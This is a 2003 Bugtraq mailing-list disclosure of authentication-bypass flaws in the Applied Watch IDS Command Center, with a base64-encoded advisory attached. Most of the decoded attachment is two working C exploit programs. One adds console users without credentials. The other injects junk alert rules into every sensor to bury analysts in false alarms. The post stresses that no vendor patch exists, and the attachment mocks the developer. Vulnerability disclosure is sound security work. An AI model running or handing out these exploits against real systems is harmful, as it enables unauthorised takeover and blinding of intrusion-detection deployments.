[32605] in bugtraq
Multiple Remote Issues in Applied Watch IDS Suite (advisory attached)
daemon@ATHENA.MIT.EDU (Bugtraq Security Systems)
Fri Nov 28 14:19:17 2003
Date: Fri, 28 Nov 2003 14:10:24 -0500 (EST)
From: Bugtraq Security Systems <research@bugtraq.org>
To: bugtraq@securityfocus.com, vuln-dev@securityfocus.com,
submissions@packetstormsecurity.org, vulnwatch@vulnwatch.org,
vulndiscuss@vulnwatch.org
Message-ID: <Pine.LNX.4.53.0311281407590.21027@symantec>
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="0-1566679201-1070046624=:21027"
--0-1566679201-1070046624=:21027
Content-Type: TEXT/PLAIN; charset=US-ASCII
Hello Lists,
We have recently concluded a comprehensive audit of the Applied Watch
Command Center, which resulted with the discovering of hundreds of
vulnerabilities.
This is the first of many future advisories on the IDS suite, which
discusses two remote issues in the authentication mechanisms used.
Working proof-of-concept code is included.
There is currently no patch available from the vendor, so consider the
Threatcon[1] to be higher than normal.
Please see the attached advisory for more information.
Team Bugtraq Security
Research Division of Bugtraq Security Systems, Incorporated.
http://www.bugtraq.org
[1] The Global Internet ThreatCon, http://www.bugtraq.org/threatcon.html
"Bugtraq.org - Keeping Track of Bugs (tm)"
--0-1566679201-1070046624=:21027
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="_BSSADV-0000.txt"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.53.0311281410240.21027@symantec>
Content-Description:
Content-Disposition: attachment; filename="_BSSADV-0000.txt"
LS0tLS1CRUdJTiBQR1AgU0lHTkVEIE1FU1NBR0UtLS0tLQ0KSGFzaDogU0hB
MQ0KDQoJICAgICAgICBCdWd0cmFxIFNlY3VyaXR5IFN5c3RlbXMsIEluY29y
cG9yYXRlZA0KIAkJCSAgICB3d3cuYnVndHJhcS5vcmcNCg0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgU2VjdXJpdHkgQWR2aXNvcnkNCg0KQWR2aXNv
cnkgTmFtZTogTXVsdGlwbGUgSXNzdWVzIGluIEFwcGxpZWQgV2F0Y2ggQ29t
bWFuZCBDZW50ZXINCiBSZWxlYXNlIERhdGU6IDExLzI3LzIwMDMNCiAgQXBw
bGljYXRpb246IEFwcGxpZWQgV2F0Y2gNCiAgICAgUGxhdGZvcm06IExpbnV4
IChJQTMyKQ0KICAgICAgICAgICAgICAgTGludXggKHNwYXJjKQ0KCSAgICAg
ICBMaW51eCAoc3BhcmM2NCkNCgkgICAgICAgTGludXggKGhwcGEpDQoJICAg
ICAgIExpbnV4IChwcGMpDQoJICAgICAgIExpbnV4ICh4Ym94KQ0KCSAgICAg
ICBMaW51eCAoSUE2NCkNCgkgICAgICAgU1VOIFNvbGFyaXMgKElBMzIpDQoJ
ICAgICAgIFNVTiBTb2xhcmlzIChzcGFyYykNCgkgICAgICAgU1VOIFNvbGFy
aXMgKHNwYXJjNjQpDQoJICAgICAgIE9wZW5CU0QgKDM4NikNCiAgICAgICAg
ICAgICAgIEhQVVggKGhwcGEpDQoJICAgICAgIEhQVVggKElBNjQpDQogICAg
ICAgICAgICAgICBDb21wYXEgVHJ1ZTY0DQoJICAgICAgIE1pY3Jvc29mdCBX
aW5kb3dzIE5UIChBbHBoYSkNCgkgICAgICAgTWljcm9zb2Z0IFdpbmRvd3Mg
TlQgKElBMzIpDQogICAgIFNldmVyaXR5OiBTZWN1cmUgcHJvdG9jb2wgaW1w
bGVtZW50YXRpb24gd2Vha25lc3NlcywgYWxsb3dzIGZvcg0KICAgICAgICAg
ICAgICAgYXV0aGVudGljYXRpb24gYnlwYXNzIGFuZCBjb21wcm9taXNlIG9m
IElEUyBub2Rlcy4NCiAgICAgICBBdXRob3I6IFRoZSBCdWd0cmFxIFRlYW0s
IENvbGxlY3RpdmVseSAgW2J1Z3RyYXFAYnVndHJhcS5vcmddDQpWZW5kb3Ig
U3RhdHVzOiBQYXRjaGVzIHBlbmRpbmcuDQpDVkUgQ2FuZGlkYXRlOiBDQU4t
MjAwMy0wOTcwIC0gQXV0aGVudGljYXRpb24gQnlwYXNzIHRvIEFkZCBJRFMg
UnVsZXMNCiAgICAgICAgICAgICAgIENBTi0yMDAzLTA5NzEgLSBBdXRoZW50
aWNhdGlvbiBCeXBhc3MgdG8gQWRkIFVzZXJzDQogICAgUmVmZXJlbmNlOiB3
d3cuYnVndHJhcS5vcmcvYWR2aXNvcmllcy9fQlNTQURWLTAwMDAudHh0IA0K
DQoNCk92ZXJ2aWV3Og0KICAgICAgVGhlIEFwcGxpZWQgV2F0Y2ggQ29tbWFu
ZCBDZW50ZXIgYm9hc3RzIHRoZSBpbmR1c3RyeSdzIGZpcnN0DQp0cnVseSBP
Uy1uYXRpdmUgcGxhdGZvcm0gZm9yIG1hbmFnaW5nIG5ldHdvcmsgdGhyZWF0
cyBpbiByZWFsLXRpbWUuICBJdA0KZnJlZXMgdXNlcnMgZnJvbSB0aGUgdW5y
ZWxpYWJsZSwgbW9yZSBkaWZmaWN1bHQsIGFuZCBsZXNzLXNlY3VyZSANCldl
Yi1iYXNlZCBtb25pdG9yaW5nIGVudmlvcm5tZW50IG9mIFNub3J0IElEUyBz
ZW5zb3JzLiAgRnJvbSBhIGNlbnRyYWwsDQpkZXNrdG9wIGNvbnNvbGUgU3Vw
cG9ydGluZyBNYWMsIExpbnV4LCBVbml4LCBhbmQgV2luZG93cywgdGhvdXNh
bmRzIG9mIA0KSURTIGFnZW50cyBhbmQgdGhlIHNlcnZlciBjYW4gYmUgbW9u
aXRvcmVkLiAgVGhlIENvbW1hbmQgQ2VudGVyIGdpdmVzIA0KeW91IHRoZXNl
IGJlbmVmaXRzOg0KDQogICAgICAxLiBJbnRlcnByZXRzIGFsZXJ0cyBnZW5l
cmF0ZWQgYnkgdGhpcmQtcGFydHkgc29sdXRpb25zLCBwYXJzaW5nDQogICAg
ICAgICB0aGUgYWxlcnRzIGludG8gaGlnaCwgbWVkaXVtLCBhbmQgbG93IHBy
aW9yaXR5Ow0KICAgICAgMi4gQWxsb3dzIHlvdSB0byBpZGVudGlmeSBmYWxz
ZSBwb3NpdGl2ZXM7DQogICAgICAzLiBMZXRzIHlvdSBzdG9yZSBub3RlcyBv
biBldmVudHMgdG8gcHJldmVudCBkdXBsaWNhdGlvbiBvZiANCiAgICAgICAg
IGVmZm9ydCwgc2F2aW5nIHZhbHVhYmxlIG1hbi1ob3VyczsNCiAgICAgIDQu
IFByb3ZpZGVzIGdyZWF0ZXIgc2VjdXJpdHkgd2l0aCBhbiBPUy1uYXRpdmUs
IGRlc2t0b3AgY29uc29sZTsNCiAgICAgIDUuIExldHMgeW91IGF2b2lkIHRo
ZSBoaWdoIGNvc3Qgb2YgU2VjdXJpdHkgSW5mb3JtYXRpb24gTWFuYWdlbWVu
dA0KICAgICAgICAgU3lzdGVtcyAoU0lNcyk7IGFuZA0KICAgICAgNi4gUmVk
dWNlcyB5b3VyIElEUyBjb3N0IG9mIG93bmVyc2hpcC4NCg0KICAgICAgSXQg
c2hvdWxkIGFsc28gYmUgbm90ZWQgdGhhdCB0aGUgbGVhZCBkZXZlbG9wZXIg
b2YgdGhpcyBzeXN0ZW0gaXMNCm5hbWVkIEphc29uIElzaCwgd2hvIGlzIGEg
bWVtYmVyIG9mIHRoZSBjb3JlIE9wZW5CU0QgZGV2ZWxvcG1lbnQgdGVhbQ0K
YW5kIGlzIHRoZXJlZm9yIGEgc2VjdXJpdHkgZXhwZXJ0LiAgSGUgaGFzIGEg
c29uIG5hbWVkIFRoZW8sIG5hbWVkIGFmdGVyDQp0aGUgZ3JlYXQgcGlvbmVl
ciBvZiBwcm9hY3RpdmUgc2VjdXJpdHksIFRoZW8gRGVyYWFkdC4NCg0KICAg
ICAgVGhlcmUgZXhpc3QgYSBudW1iZXIgb2YgdnVsbmVyYWJpbGl0aWVzIGlu
IHRoZSB2YXJpb3VzIGNvbXBvbmVudHMNCm9mIHRoZSBBcHBsaWVkIFdhdGNo
IHNvZnR3YXJlIHN1aXRlOyB0aGlzIGFkdmlzb3J5IGJlaW5nIHRoZSBmaXJz
dCBvZiANCm1hbnkgdG8gY29tZSByZWdhcmRpbmcgdGhlIHZhcmlvdXMgbG9n
aWMtcmVsYXRlZCBzZWN1cml0eSB2dWxuZXJhYmlsaXRpZXMNCmluIHRoZSBz
b2Z0d2FyZS4gIEFmdGVyIGFsbCBzdWNoIHByb2JsZW1zIGFyZSBlbGltaW5h
dGVkIGZyb20gdGhlIGNvZGViYXNlLA0Kd2Ugd2lsbCBiZWdpbiByZWxlYXNp
bmcgYW5vdGhlciBzZXQgb2YgYWR2aXNvcmllcyBjb25jZXJuaW5nIG11bHRp
cGxlIA0KaW5zdGFuY2VzIGluIHRoZSBjb2RlIHRoYXQgYWxsb3cgZm9yIHRo
ZSByZW1vdGUgZXhlY3V0aW9uIG9mIGFyYml0cmFyeSBjb2RlDQp0aHJvdWdo
b3V0IHRoZSB2YXJpb3VzIGNvbXBvbmVudHMgb2YgdGhpcyBzeXN0ZW0uDQoN
Cg0KRGV0YWlsczoNCg0KWzFdIEFkZGluZyBhIFVzZXINCg0KVXNpbmcgdGhl
IGF0dGFjaGVkIHByb2dyYW0sIGFwcGxpZWRzbmF0Y2guYywgYSBtYWxpY2lv
dXMgaW5kaXZpZHVhbCBvbiBhDQpuZXR3b3JrIHByb3RlY3RlZCBieSB0aGUg
QXBwbGllZCBXYXRjaCBTb2x1dGlvbiBjYW4gYWRkIG5ldyB1c2VycyB0byBh
IA0KY29uc29sZSwgd2l0aG91dCBoYXZpbmcgdG8gYXV0aGVudGljYXRlIHRv
IHRoZSBzeXN0ZW0uDQoNCi0gLS0tIGJlZ2luIGFwcGxpZWRzbmF0Y2guYyAt
LS0NCg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RkbGliLmg+
DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQoj
aW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4u
aD4NCiNpbmNsdWRlIDxhcnBhL2luZXQuaD4NCiNpbmNsdWRlIDxuZXRkYi5o
Pg0KI2luY2x1ZGUgPG9wZW5zc2wvc3NsLmg+DQoNCiNkZWZpbmUgUFVUX1VJ
TlQzMihpLCB2YWwpXA0KCXtcDQoJICBidWZbKGkpICsrXSA9ICgodmFsKSA+
PiAyNCkgJiAweGZmO1wNCgkgIGJ1ZlsoaSkgKytdID0gKCh2YWwpID4+IDE2
KSAmIDB4ZmY7XA0KCSAgYnVmWyhpKSArK10gPSAoKHZhbCkgPj4gOCkgJiAw
eGZmO1wNCgkgIGJ1ZlsoaSkgKytdID0gKHZhbCkgJiAweGZmO1wNCgl9DQoN
CmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogIHVuc2ln
bmVkIGNoYXIgKmJ1ZjsNCiAgdW5zaWduZWQgaW50IGlkeCwgaTsNCiAgc2l6
ZV90IHVzZXJsZW4sIHBhc3NsZW4sIGJ1ZmxlbiwgbGVuaWR4Ow0KICBpbnQg
c29jazsNCiAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgdW5zaWduZWQg
Y2hhciByZXNwYnVmWzI4XTsNCiAgc3NpemVfdCBuOw0KICBTU0xfQ1RYICpz
c2xjdHg7DQogIFNTTCAqc3NsOw0KICANCiAgaWYgKGFyZ2MgIT0gNSkgeyBm
cHJpbnRmKHN0ZGVyciwgInVzYWdlOiAlcyA8aG9zdD4gPHBvcnQ+IDx1c2Vy
PiA8cGFzcz5cbiIsIGFyZ3ZbMF0pOyBleGl0KDEpOyB9DQogIHVzZXJsZW4g
PSBzdHJsZW4oYXJndlszXSk7DQogIHBhc3NsZW4gPSBzdHJsZW4oYXJndls0
XSk7DQogIGJ1ZiA9IG1hbGxvYyhidWZsZW4gPSAxMiArIDQgKyB1c2VybGVu
ICsgNCArIDQgKyBwYXNzbGVuICsgNCArIDQgKyA0KTsNCiAgbWVtc2V0KGJ1
ZiwgMCwgYnVmbGVuKTsNCiAgaWR4ID0gMDsNCiAgUFVUX1VJTlQzMihpZHgs
IDB4YmFiZTAwMDEpOyAvKiAweGJhYmUwMDAyIGZvciBvdGhlciBwcm90b2Nv
bCB2ZXIgKi8NCiAgUFVUX1VJTlQzMihpZHgsIDB4NmEpOw0KICBsZW5pZHgg
PSBpZHg7DQogIFBVVF9VSU5UMzIoaWR4LCAweGYwMGZjN2M4KTsNCiAgLy9Q
VVRfVUlOVDMyKGlkeCwgMCk7IC8qIHVuY29tbWVudCBmb3Igb3RoZXIgcHJv
dG9jb2wgdmVyICovDQogIFBVVF9VSU5UMzIoaWR4LCB1c2VybGVuKTsNCiAg
bWVtY3B5KCZidWZbaWR4XSwgYXJndlszXSwgdXNlcmxlbik7IGlkeCArPSB1
c2VybGVuOw0KICBpZHggfD0gMzsgaWR4ICsrOw0KICBQVVRfVUlOVDMyKGlk
eCwgcGFzc2xlbik7DQogIG1lbWNweSgmYnVmW2lkeF0sIGFyZ3ZbNF0sIHBh
c3NsZW4pOyBpZHggKz0gcGFzc2xlbjsNCiAgaWR4IHw9IDM7IGlkeCArKzsN
CiAgUFVUX1VJTlQzMihpZHgsIDB4MSk7DQogIFBVVF9VSU5UMzIoaWR4LCAw
eDEpOw0KICBQVVRfVUlOVDMyKGxlbmlkeCwgaWR4KTsNCiAgcHJpbnRmKCJj
b25uZWN0aW5nXG4iKTsNCiAgbWVtc2V0KCZzaW4sIDAsIHNpemVvZihzaW4p
KTsNCiAgc2luLnNpbl9mYW1pbHkgPSBBRl9JTkVUOw0KICBzaW4uc2luX3Bv
cnQgPSBodG9ucyhhdG9pKGFyZ3ZbMl0pKTsNCiAgaWYgKChzaW4uc2luX2Fk
ZHIuc19hZGRyID0gaW5ldF9hZGRyKGFyZ3ZbMV0pKSA9PSAtMSkNCiAgew0K
ICAgIHN0cnVjdCBob3N0ZW50ICpoZTsNCiAgICANCiAgICBpZiAoKGhlID0g
Z2V0aG9zdGJ5bmFtZShhcmd2WzFdKSkgPT0gTlVMTCkgeyBwZXJyb3IoImdl
dGhvc3RieW5hbWUoKSIpOyBleGl0KDEpOyB9DQogICAgbWVtY3B5KCZzaW4u
c2luX2FkZHIsIGhlLT5oX2FkZHIsIDQpOw0KICB9DQogIHNvY2sgPSBzb2Nr
ZXQoQUZfSU5FVCwgU09DS19TVFJFQU0sIDApOw0KICBpZiAoY29ubmVjdChz
b2NrLCAoc3RydWN0IHNvY2thZGRyICopJnNpbiwgc2l6ZW9mKHNpbikpICE9
IDApIHsgcGVycm9yKCJjb25uZWN0KCkiKTsgZXhpdCgxKTsgfQ0KICBwcmlu
dGYoImRvaW5nIHNzbCBoYW5kc2hha2VcbiIpOw0KICBTU0xfbG9hZF9lcnJv
cl9zdHJpbmdzKCk7DQogIFNTTF9saWJyYXJ5X2luaXQoKTsNCiAgaWYgKChz
c2xjdHggPSBTU0xfQ1RYX25ldyhTU0x2MjNfY2xpZW50X21ldGhvZCgpKSkg
PT0gTlVMTCkgeyBmcHJpbnRmKHN0ZGVyciwgIlNTTF9DVFhfbmV3KClcbiIp
OyBleGl0KDEpOyB9DQogIGlmICgoc3NsID0gU1NMX25ldyhzc2xjdHgpKSA9
PSBOVUxMKSB7IGZwcmludGYoc3RkZXJyLCAiU1NMX25ldygpXG4iKTsgZXhp
dCgxKTsgfQ0KICBpZiAoU1NMX3NldF9mZChzc2wsIHNvY2spICE9IDEpIHsg
ZnByaW50ZihzdGRlcnIsICJTU0xfc2V0X2ZkKClcbiIpOyBleGl0KDEpOyB9
DQogIGlmIChTU0xfY29ubmVjdChzc2wpICE9IDEpIHsgZnByaW50ZihzdGRl
cnIsICJTU0xfY29ubmVjdCgpXG4iKTsgZXhpdCgxKTsgfQ0KICBwcmludGYo
InNlbmRpbmcgJXUgYnl0ZXM6XG4iLCBpZHgpOw0KICBmb3IgKGkgPSAwOyBp
IDwgaWR4OyBpICsrKSBwcmludGYoIiUuMnggIiwgYnVmW2ldKTsNCiAgaWYg
KFNTTF93cml0ZShzc2wsIGJ1ZiwgaWR4KSAhPSBpZHgpIHsgcGVycm9yKCJ3
cml0ZSgpIik7IGV4aXQoMSk7IH0NCiAgcHJpbnRmKCJcbnJlYWRpbmc6XG4i
KTsNCiAgaSA9IDA7DQogIHdoaWxlIChpIDwgc2l6ZW9mKHJlc3BidWYpKQ0K
ICB7DQogICAgaWYgKChuID0gU1NMX3JlYWQoc3NsLCAmcmVzcGJ1ZltpXSwg
c2l6ZW9mKHJlc3BidWYpIC0gaSkpIDwgMCkgeyBwZXJyb3IoInJlYWQoKSIp
OyBleGl0KDEpOyB9DQogICAgaSAtPSBuOw0KICB9DQogIGZvciAoaSA9IDA7
IGkgPCBzaXplb2YocmVzcGJ1Zik7IGkgKyspIHByaW50ZigiJS4yeCAiLCBy
ZXNwYnVmW2ldKTsNCiAgcHJpbnRmKCJcbiIpOw0KICBwcmludGYoImFkZGlu
ZyB1c2VyIFwiJXNcIiB3aXRoIHBhc3N3b3JkIFwiJXNcIiAlc1xuIiwgYXJn
dlszXSwgYXJndls0XSwgKG1lbWNtcCgmcmVzcGJ1ZlsxNl0sICJceDAwXHgw
MFx4MDBceDAwIiwgNCkgPT0gMCk/ICJzdWNjZWVkZWQiIDogImZhaWxlZCIp
Ow0KICBTU0xfc2h1dGRvd24oc3NsKTsNCiAgY2xvc2Uoc29jayk7DQogIHJl
dHVybiAwOw0KfQ0KDQotIC0tLSBlbmQgYXBwbGllZHNuYXRjaC5jIC0tLQ0K
DQoNClsyXSBBZGRpbmcgYSBSdWxlDQoNClVzaW5nIHRoZSBzZWNvbmQgYXR0
YWNoZWQgcHJvZ3JhbSwgYWRkcnVsZS5jLCBhIG1hbGljaW91cyBpbmRpdmlk
dWFsIGNhbg0KaW50cm9kdWNlIGN1c3RvbSBJRFMgYWxlcnRzIHRvIGFsbCBz
ZW5zb3Igbm9kZXMgb24gYSBuZXR3b3JrLCBhbGxvd2luZyBhDQpodW1hbiBk
ZW5pYWwtb2Ytc2VydmljZSBhdHRhY2sgYWdhaW5zdCB0aGUgc2VjdXJpdHkg
ZXhwZXJ0cyBtb25pdG9yaW5nIHRoZQ0KY29uc29sZS4gIFRoaXMgaXMgYSB2
YWxpZCB0ZWNobmlxdWUgZm9yIHN1YnZlcnRpbmcgaW50cnVzaW9uIGRldGVj
dGlvbiANCnN5c3RlbXMuICBUaGlzIGlzIGFsc28gYSBkZW1vbnN0cmF0aW9u
IG9mIHRoZSAic29tZXRpbWVzIGdvb2QgcGFja2V0cyBsb29rDQpsaWtlIGJh
ZCBwYWNrZXRzLCB3aGlsZSBiYWQgcGFja2V0cyBnbyB1bm5vdGljZWQgYnkg
dGhlIGludHJ1c2lvbiBkZXRlY3Rpb24NCnN5c3RlbSIgY29uY2VwdC4NCg0K
LSAtLS0gYmVnaW4gYWRkcnVsZS5jIC0tLQ0KDQojaW5jbHVkZSA8c3RkaW8u
aD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCiNpbmNsdWRlIDx1bmlzdGQuaD4N
CiNpbmNsdWRlIDxzdHJpbmcuaD4NCiNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+
DQojaW5jbHVkZSA8bmV0aW5ldC9pbi5oPg0KI2luY2x1ZGUgPGFycGEvaW5l
dC5oPg0KI2luY2x1ZGUgPG5ldGRiLmg+DQojaW5jbHVkZSA8b3BlbnNzbC9z
c2wuaD4NCg0KI2RlZmluZSBQVVRfVUlOVDMyKGksIHZhbClcDQoJe1wNCgkg
IGJ1ZlsoaSkgKytdID0gKCh2YWwpID4+IDI0KSAmIDB4ZmY7XA0KCSAgYnVm
WyhpKSArK10gPSAoKHZhbCkgPj4gMTYpICYgMHhmZjtcDQoJICBidWZbKGkp
ICsrXSA9ICgodmFsKSA+PiA4KSAmIDB4ZmY7XA0KCSAgYnVmWyhpKSArK10g
PSAodmFsKSAmIDB4ZmY7XA0KCX0NCg0KaW50IG1haW4oaW50IGFyZ2MsIGNo
YXIgKmFyZ3ZbXSkNCnsNCiAgdW5zaWduZWQgY2hhciAqYnVmOw0KICB1bnNp
Z25lZCBpbnQgaWR4LCBpOw0KICBzaXplX3QgcnVsZWxlbiwgYnVmbGVuLCBs
ZW5pZHg7DQogIGludCBzb2NrOw0KICBzdHJ1Y3Qgc29ja2FkZHJfaW4gc2lu
Ow0KICB1bnNpZ25lZCBjaGFyIHJlc3BidWZbMjhdOw0KICBzc2l6ZV90IG47
DQogIFNTTF9DVFggKnNzbGN0eDsNCiAgU1NMICpzc2w7DQogIHVuc2lnbmVk
IGNoYXIgKnJ1bGVzZXQgPSAiYWxlcnQgdGNwIGFueSBhbnkgLT4gYW55IGFu
eSAobXNnOiBcIipHT0JCTEUqICpHT0JCTEUqICpHT0JCTEUqICpHT0JCTEUq
IFxcOlBwcHBwcFBQcHBwcHBwUFBQUFBQcHBwcFwiOykiOw0KICANCiAgaWYg
KGFyZ2MgIT0gMykgeyBmcHJpbnRmKHN0ZGVyciwgInVzYWdlOiAlcyA8aG9z
dD4gPHBvcnQ+XG4iLCBhcmd2WzBdKTsgZXhpdCgxKTsgfQ0KICBydWxlbGVu
ID0gc3RybGVuKHJ1bGVzZXQpOw0KICBidWYgPSBtYWxsb2MoYnVmbGVuID0g
MTIgKyA0ICsgNCArIDQgKyBydWxlbGVuICsgNCk7DQogIG1lbXNldChidWYs
IDAsIGJ1Zmxlbik7DQogIGlkeCA9IDA7DQogIFBVVF9VSU5UMzIoaWR4LCAw
eGJhYmUwMDAxKTsgLyogMHhiYWJlMDAwMiBmb3Igb3RoZXIgcHJvdG9jb2wg
dmVyICovDQogIFBVVF9VSU5UMzIoaWR4LCAweDZmKTsNCiAgbGVuaWR4ID0g
aWR4Ow0KICBQVVRfVUlOVDMyKGlkeCwgMHhmMDBmYzdjOCk7DQogIC8vUFVU
X1VJTlQzMihpZHgsIDApOyAvKiB1bmNvbW1lbnQgZm9yIG90aGVyIHByb3Rv
Y29sIHZlciAqLw0KICBQVVRfVUlOVDMyKGlkeCwgMCk7DQogIFBVVF9VSU5U
MzIoaWR4LCAxKTsNCiAgUFVUX1VJTlQzMihpZHgsIHJ1bGVsZW4pOw0KICBt
ZW1jcHkoJmJ1ZltpZHhdLCBydWxlc2V0LCBydWxlbGVuKTsgaWR4ICs9IHJ1
bGVsZW47DQogIGlkeCB8PSAzOyBpZHggKys7DQogIFBVVF9VSU5UMzIobGVu
aWR4LCBpZHgpOw0KICBwcmludGYoImNvbm5lY3RpbmdcbiIpOw0KICBtZW1z
ZXQoJnNpbiwgMCwgc2l6ZW9mKHNpbikpOw0KICBzaW4uc2luX2ZhbWlseSA9
IEFGX0lORVQ7DQogIHNpbi5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsy
XSkpOw0KICBpZiAoKHNpbi5zaW5fYWRkci5zX2FkZHIgPSBpbmV0X2FkZHIo
YXJndlsxXSkpID09IC0xKQ0KICB7DQogICAgc3RydWN0IGhvc3RlbnQgKmhl
Ow0KICAgIA0KICAgIGlmICgoaGUgPSBnZXRob3N0YnluYW1lKGFyZ3ZbMV0p
KSA9PSBOVUxMKSB7IHBlcnJvcigiZ2V0aG9zdGJ5bmFtZSgpIik7IGV4aXQo
MSk7IH0NCiAgICBtZW1jcHkoJnNpbi5zaW5fYWRkciwgaGUtPmhfYWRkciwg
NCk7DQogIH0NCiAgc29jayA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVB
TSwgMCk7DQogIGlmIChjb25uZWN0KHNvY2ssIChzdHJ1Y3Qgc29ja2FkZHIg
Kikmc2luLCBzaXplb2Yoc2luKSkgIT0gMCkgeyBwZXJyb3IoImNvbm5lY3Qo
KSIpOyBleGl0KDEpOyB9DQogIHByaW50ZigiZG9pbmcgc3NsIGhhbmRzaGFr
ZVxuIik7DQogIFNTTF9sb2FkX2Vycm9yX3N0cmluZ3MoKTsNCiAgU1NMX2xp
YnJhcnlfaW5pdCgpOw0KICBpZiAoKHNzbGN0eCA9IFNTTF9DVFhfbmV3KFNT
THYyM19jbGllbnRfbWV0aG9kKCkpKSA9PSBOVUxMKSB7IGZwcmludGYoc3Rk
ZXJyLCAiU1NMX0NUWF9uZXcoKVxuIik7IGV4aXQoMSk7IH0NCiAgaWYgKChz
c2wgPSBTU0xfbmV3KHNzbGN0eCkpID09IE5VTEwpIHsgZnByaW50ZihzdGRl
cnIsICJTU0xfbmV3KClcbiIpOyBleGl0KDEpOyB9DQogIGlmIChTU0xfc2V0
X2ZkKHNzbCwgc29jaykgIT0gMSkgeyBmcHJpbnRmKHN0ZGVyciwgIlNTTF9z
ZXRfZmQoKVxuIik7IGV4aXQoMSk7IH0NCiAgaWYgKFNTTF9jb25uZWN0KHNz
bCkgIT0gMSkgeyBmcHJpbnRmKHN0ZGVyciwgIlNTTF9jb25uZWN0KClcbiIp
OyBleGl0KDEpOyB9DQogIHByaW50Zigic2VuZGluZyAldSBieXRlczpcbiIs
IGlkeCk7DQogIGZvciAoaSA9IDA7IGkgPCBpZHg7IGkgKyspIHByaW50Zigi
JS4yeCAiLCBidWZbaV0pOw0KICBpZiAoU1NMX3dyaXRlKHNzbCwgYnVmLCBp
ZHgpICE9IGlkeCkgeyBwZXJyb3IoIndyaXRlKCkiKTsgZXhpdCgxKTsgfQ0K
ICBwcmludGYoIlxucmVhZGluZzpcbiIpOw0KICBpID0gMDsNCiAgd2hpbGUg
KGkgPCBzaXplb2YocmVzcGJ1ZikpDQogIHsNCiAgICBpZiAoKG4gPSBTU0xf
cmVhZChzc2wsICZyZXNwYnVmW2ldLCBzaXplb2YocmVzcGJ1ZikgLSBpKSkg
PCAwKSB7IHBlcnJvcigicmVhZCgpIik7IGV4aXQoMSk7IH0NCiAgICBpIC09
IG47DQogIH0NCiAgZm9yIChpID0gMDsgaSA8IHNpemVvZihyZXNwYnVmKTsg
aSArKykgcHJpbnRmKCIlLjJ4ICIsIHJlc3BidWZbaV0pOw0KICBwcmludGYo
IlxuIik7DQogIHByaW50ZigiYWRkaW5nIG5hc3R5IHJ1bGVzZXQgJXNcbiIs
IChtZW1jbXAoJnJlc3BidWZbMTZdLCAiXHgwMFx4MDBceDAwXHgwMCIsIDQp
ID09IDApPyAic3VjY2VlZGVkIiA6ICJmYWlsZWQiKTsNCiAgU1NMX3NodXRk
b3duKHNzbCk7DQogIGNsb3NlKHNvY2spOw0KICByZXR1cm4gMDsNCn0NCg0K
LSAtLS0gZW5kIGFkZHJ1bGUuYyAtLS0NCg0KDQpWZW5kb3IgUmVzcG9uc2U6
DQogICAgIEJ1Z3RyYXEgU2VjdXJpdHkgaGF2ZSBhdHRlbXB0ZWQgdG8gY29u
dGFjdCB0aGUgdmVuZG9yIG11bHRpcGxlDQp0aW1lcyBzaW5jZSB0aGUgZGlz
Y292ZXJ5IG9mIHRoZXNlIHZ1bG5lcmFiaWxpdGllcyB3aXRob3V0IHN1Y2Nl
c3MuICBBDQpwdWJsaWMgc3RhdGVtZW50IGlzc3VlZCBieSB0aGUgZm91bmRl
ciBvZiB0aGUgY29tcGFueSwgRXJpYyBIaW5lcywgaGVscHMNCnVzIHVuZGVy
c3RhbmQgd2h5IHRoZSBjb21wYW55IHdhcyB1bmF2YWlsYWJsZSBmb3IgY29t
bWVudCBhdCB0aGUgdGltZToNCg0KICAgICAiWW91J3ZlIGdvdCB0byByZWFs
aXplIHRoYXQgdGhlc2UgcGVvcGxlIGFyZSB3YWxraW5nIGFyb3VuZCB3aXRo
DQpleHBsb2l0cyB0aGF0IHZlbmRvcnMgaGF2ZW4ndCBldmVuIGhlYXJkIG9m
IHlldC4gIFRoZXkncmUgcGlzc2VkIGFuZCANCnRoZXkndmUgZ290IHRoaXMg
YWxtb3N0IEdvZC1saWtlIHBvd2VyIHRoYXQgZW5hYmxlcyB0aGVtIHRvIGJy
ZWFrIGludG8NCmFueSBuZXR3b3JrIHRoYXQgdGhleSB3YW50LCIgSGluZXMg
c2FpZC4gIEhlIHJlcG9ydGVkIHRoYXQgRmF0ZUxhYnMuY29tDQp3YXMga25v
Y2tlZCBvZmZsaW5lIGxhc3Qgd2VlayBieSBhIGRlbmlhbC1vZi1zZXJ2aWNl
IGF0dGFjayBpbW1lZGlhdGVseQ0KYWZ0ZXIgdGhlIHNlY3VyaXR5IGZpcm0g
cHVibGlzaGVkIGFuIGFkdmlzb3J5IGFib3V0IGEgc2VjdXJpdHkgYnVnLg0K
DQogICAgIFdlIGV4cGVjdCB0aGF0IG9uY2UgdGhlaXIgbmV0d29yayByZWNv
dmVycyBmcm9tIHNhaWQgaW5jaWRlbnQsIHRoYXQNCnRoZXkgd2lsbCBpc3N1
ZSBiaW5hcnkgcGF0Y2hlcyB0byBib3RoIHRoZWlyIGNsaWVudHMgYW5kIGhl
bHAgcmVkdWNlIHRoZQ0KdGhyZWF0IG9mIGNvbXByb21pc2UgYWdhaW5zdCB0
aG9zZSBuZXR3b3Jrcy4gVW5kb3VidGFibHkgdGhleSBhcmUgYXdhcmUNCm9m
IHRoZXNlIHZ1bG5lcmFiaWxpdGllcyBhbHJlYWR5LCBhbmQgd2VyZSBob3Bp
bmcgdGhleSB3b3VsZCBiZSBicm91Z2h0DQp0byBwdWJsaWMgYXR0ZW50aW9u
IGFzLCBhY2NvcmRpbmcgdG8gdGhlaXIgd2Vic2l0ZSwgdGhleSBhcmUgInNv
bGRpZXJzDQpmb3IgZnVsbCBkaXNjbG9zdXJlIi4NCg0KVGhyZWF0Q29uOg0K
